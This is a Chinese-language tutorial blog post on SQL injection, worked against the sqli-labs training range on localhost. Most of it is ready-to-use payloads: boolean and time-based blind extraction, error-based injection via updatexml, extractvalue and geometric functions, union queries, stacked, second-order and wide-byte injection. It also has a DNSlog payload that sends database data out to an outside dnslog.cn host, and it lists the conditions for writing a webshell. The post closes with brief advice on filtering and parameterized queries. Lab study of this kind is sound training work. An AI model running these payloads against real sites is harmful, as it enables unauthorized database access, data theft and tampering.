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web渗透之sql注入

2022-08-22 134
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本文涉及的产品
云数据库 RDS MySQL Serverless，0.5-2RCU 50GB
推荐场景：
学生管理系统数据库设计 搭建个人博客
简介： 所谓SQL注入，就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令，比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表单特别容易受到SQL注入式攻击．当应用程序使用输入内容来构造动态sql语句以访问数据库时，会发生sql注入攻击。如果代码使用存储过程，而这些存储过程作为包含未筛选的用户输入的字符串来传递，也会发生sql注入。黑客通过SQL注入攻击可以拿到网站数据库的访问权限，之后他们就可以拿到网站数据库中所有的数据，恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁

一、前言


所谓SQL注入，就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令，比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表单特别容易受到SQL注入式攻击．当应用程序使用输入内容来构造动态sql语句以访问数据库时，会发生sql注入攻击。如果代码使用存储过程，而这些存储过程作为包含未筛选的用户输入的字符串来传递，也会发生sql注入。 黑客通过SQL注入攻击可以拿到网站数据库的访问权限，之后他们就可以拿到网站数据库中所有的数据，恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。



二、实验准备

本次实验使用sqli-labs-master靶场。


[靶场下载链接](https://codeload.github.com/Audi-1/sqli-labs/zip/master)


三、sql注入检测方法

1、数字型检测


本次实验使用靶场第二关


直接输入and 1=1  


http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 and 1=1





此时发现页面是正常显示的，我们跟着继续判断and 1=2


   http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 and 1=2






此时发现页面发生了变化，那么就可以判断这是一个数字型注入。


2、字符型检测


本次实验使用靶场第一关


在网站url栏上输入一个单引号


   http://127.0.0.1/sqli-labs-master/Less-1/?id=1’





此时发现网站报错，大致意思为你有一个数据库语法错误，当在后面输入一个%23（注释符）之后会发现页面正常回显


当我们在单引号后面输入and 1=1 %23时，发现页面正常回显


  http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1' and 1=1 %23


> 当我们将and 1=1换成and 1=2时发现页面报错


   http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1' and 1=2 %23

> 此时便可以判断这是一个字符型注入


3、搜索型检测和xx型检测


这两种检测方法本质上是字符型检测的分支，只是需要根据不同的报错信息进行构造闭合

四、常见的注入手法

1、union注入


首先要知道的是union注入一般是配合order by语句用于两个或多个sql语句集合


ps： order by是指在sql语句后面进行排序的，通常我们用order by来判断查询的字段有几位


(1).union联合报错注入

   select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));

(2).union联合查询

   ?id=111’ union select 1,2,(group_concat(table_name) from information_schema.tables where table_schema=‘数据库名’) --+


2、盲注


> 盲注是指在不知道数据库返回值的情况下对数据中的内容进行猜测，一般分为布尔盲注、时间盲注、报错盲注


(1).布尔盲注

a.判断数据库长度


   and (length(database()))=一个数 %23


b.判断当前数据库名


   and (ascii(substr(database(),1,1)))=一个数 %23



c.判断当前数据库下表的数量



   and (select count(*) from information_schema.tables where table_schema='数据库名')=一个数  %23


d.判断每个表的长度


   and（length((select table_name from information_schema.tables where table_schema='库名' limit0,1)))=一个数 %23



ps：

limit 后面数字的意义：

第一位表示判断第几张表（第一张表记作0）

第二位表示一次截取几条数据，默认为1


e.取表名


   and(ascii(subste((select table_name from information_schema.tables where table_schema='库名' limit0,1),1,1))=一个数)


f.查询当前数据库下，该表内有多少个字段


   and(select count(*)from information_schema columns where table_schema='库名' and table_name='表名')=一个数 %23


g.判断字段的长度


   and  (length((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1)))=一个数%23


h.判断第一个字段的第一位的名称


   and  (ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)))=105 %23


i.判断第一条数据的长度


   and(length((select 字段名 from 表名 limit 1,1)))=一个数 %23


j.获取第一条数据


   and (ascii(substr((select 字段名 from 表名 limit 0,1),1,1)))=一个数 %23

(2).时间盲注

a.判断是否存在时间盲注


   and sleep(5) %23


b.查询当前数据库的长度，如果正确那么就延迟


   and if((length(database()))>此处填判断的时间,sleep(此处填延迟的时间),1) --+

 

c.判断当前数据库名第一位是否为a


   and if((substr(database(),1,1)='a'),sleep(5),1)  %23


d.判断当前数据库名第一位ascii码


   and if((ascii(substr(database(),1,1))=此处填判断的数字),sleep(延迟的时间),1)  %23


e.查询表数量


   and if((select count(*) from information_schema.tables where table_schema='库名称)=此处填判断的数字,sleep(此处填延迟的时间),1)%23


f.查询表名长度


   and if((select length((select table_name from information_schema.tables where table_schema='库名' limit 3,1))=此处填判断的数字),sleep(此处填延迟的时间),1)%23


g.截取表名第一位


   and if((select ascii(substr((select table_name from information_schema.tables where table_schema='数据库名 limit 3,1),1,1)))=此处填判断的数字,sleep(此处填延迟的时间)),1)%23


h.查询列字段数量


   and if(((select count(*) from information_schema.columns where table_schema='数据库名' and table_name='users')=此处填判断的数字),sleep(此处填延迟的时间),1)%23


i.查询列名长度


   and if((select length((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1))=此处填判断的数字),sleep(此处填延迟的时间),1)%23


j.截取列名第一位


and if((select ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)))=此处填判断的数字,sleep(此处填延迟的时间),1)%23


k.查询第一条数据的长度


   and if((select length((select id from 表名  limit 0,1)))=此处填判断的数字,sleep(此处填延迟的时间),1)%23


l.获取数据信息内容


   and if((select ascii(substr((select id from 表名  limit 0,1),1,1)))=此处填判断的数字,sleep(此处填延迟的时间),1)%23


2.报错注入


(1).floor报错

   and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23


(2).extractvalue报错


   select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));


(3).updatexml报错


   select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));


a.查表语句


   and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = database()),'~'),3) %23


b.查字段语句


   and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'),'~'),3) %23


c.查数据语句


   and updatexml(1,concat('~',(select username from users limit 0,1),'~'),3) %23



(4).geometrycollection报错


   select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));


(5).multipoint报错


   select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));


(6).polygon报错


   select * from test where id=1 and polygon((select * from(select * from(select user())a)b));


(7).multipolygon报错


   select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));


(8).linestring报错


   select * from test where id=1 and linestring((select * from(select * from(select user())a)b));


(9).multilinestring报错


   select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));


(10).exp报错


   select * from test where id=1 and exp(~(select * from(select user())a));


3.堆叠注入

(1).原理


mysql_multi_query() 支持多条sql语句同时执行，就是个;分隔，成堆的执行sql语句


例如：


   select * from users;show databases;


就同时执行以上两条命令，所以我们可以增删改查，只要权限够

虽然这个注入姿势很牛，但实际遇到很少，其可能受到API或者数据库引擎，又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用，利用mysqli_multi_query()函数就支持多条sql语句同时执行，但实际情况中，如PHP为了防止sql注入机制，往往使用调用数据库的函数是mysqli_query()函数，其只能执行一条语句，分号后面的内容将不会被执行，所以可以说堆叠注入的使用条件十分有限，一旦能够被使用，将可能对网站造成十分大的威胁。


4.二次注入

二次注入可以概括为以下两步：


第一步：插入恶意数据


进行数据库插入数据时，对其中的特殊字符进行了转义处理，在写入数据库的时候又保留了原来的数据。


第二步：引用恶意数据


开发者默认存入数据库的数据都是安全的，在进行查询时，直接从数据库中取出恶意数据，没有进行进一步的检验的处理。


3.宽字节注入

(1).原理


> 当传递一个参数id=1‘得时候，当我们输入这个单引号，会被认为是非法字符，会被过滤函数添加“\”给过滤掉，所以我们想要程序接受我们传递得参数中包含单引号，那么就需要把这个转义字符“\”干掉，那如何才能干掉呢？当http协议传输得时候，是要经过url编码的，如果这个编码完成后，传递到服务器时，我们可以在单引号前加上一个%81这样得编码，最后这样解码得时候，这个%81就会和“/”对应得编码相结合按照gbk编码要求去解码，最后只剩下个单引号。


(2).宽字节注入条件


> (1)数据库查询设置为GBK编码

(2)使用了addslashes()，mysql_real_escape_string(),mysql_escape_string()之类的函数


[附：GBK编码表 https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php

](https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php)


4.dnslong盲注



利用条件：


mysql.ini中secure_file_priv必须为空

secure_file_priv 为null 不允许导入导出

secure_file_priv 为/tmp 导入导出只能在/tmp目录下

secure_file_priv 为空时 则不做限制允许导入导出


语句



   ' and  load_file(concat('\\\\',(select version()),'.0j7pyz.dnslog.cn\\abc')) %23


[赠：域名http://www.dnslog.cn/](http://www.dnslog.cn/)


5.请求头注入

需利用：burp



(1)UA头注入

(2)referer注入

(3)cookie注入


6.sql注入写入webshell

条件


> （1）当前sql注入用户必须为DBA权限（--is-dba为true）

（2）需要知道网站的绝对路径

（3）My.ini文件中的这项配置secure_file_priv=””为空


五、总结


SQL注入最大的危害在于数据泄露，但SQL注入并不能直接获得Web系统的权限。在对抗SQL注入攻击方面，有效的措施是过滤和转义，针对中小型站点尽可能限制数据类型，限制提交数据的字符类型，对特殊字符及敏感函数进行过滤。针对大型站点推荐利用预编译方法或参数化查询。

文章标签：
云数据库 RDS MySQL 版
PHP
SQL
数据库管理
数据安全/隐私保护
安全
API
数据库
存储
开发者
关键词：
web注入
web sql
SQL web
SQL注入
web sql注入
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